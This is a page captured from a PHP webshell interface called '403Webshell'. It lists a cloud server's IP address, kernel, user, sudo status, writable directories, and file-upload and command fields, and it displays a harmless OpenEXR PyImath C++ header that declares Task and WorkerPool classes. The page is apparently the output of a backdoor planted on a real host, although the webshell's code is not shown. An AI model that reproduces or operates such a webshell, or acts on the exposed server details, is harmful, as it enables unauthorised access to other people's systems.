403Webshell
Server IP : 35.154.56.2  /  Your IP : 216.73.217.116
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-0-189 6.8.0-1029-aws #31-Ubuntu SMP Wed Apr 23 18:20:04 UTC 2025 aarch64
User : ubuntu ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/include/Imath/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/include/Imath/PyImathTask.h
//
// SPDX-License-Identifier: BSD-3-Clause
// Copyright Contributors to the OpenEXR Project.
//

// clang-format off

#ifndef _PyImathTask_h_
#define _PyImathTask_h_

#include <cstddef>
#include "PyImathExport.h"

namespace PyImath {

struct Task
{
    PYIMATH_EXPORT virtual ~Task() {}
    PYIMATH_EXPORT virtual void execute(size_t start,size_t end) = 0;
    PYIMATH_EXPORT virtual void execute(size_t start,size_t end, int tid) {execute(start,end);}
};

struct WorkerPool
{
    PYIMATH_EXPORT virtual ~WorkerPool() {}
    PYIMATH_EXPORT virtual size_t workers() const = 0;
    PYIMATH_EXPORT virtual void dispatch(Task &task,size_t length) = 0;
    PYIMATH_EXPORT virtual bool inWorkerThread() const = 0;

    PYIMATH_EXPORT static WorkerPool *currentPool();
    PYIMATH_EXPORT static void setCurrentPool(WorkerPool *pool);
};

PYIMATH_EXPORT void dispatchTask(Task &task,size_t length);
PYIMATH_EXPORT size_t workers();

}

#endif

Youez - 2016 - github.com/yon3zu
LinuXploit